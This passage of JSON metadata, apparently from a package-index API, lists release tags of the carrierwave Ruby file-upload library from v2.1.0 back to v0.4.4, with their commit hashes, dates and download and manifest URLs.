r.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.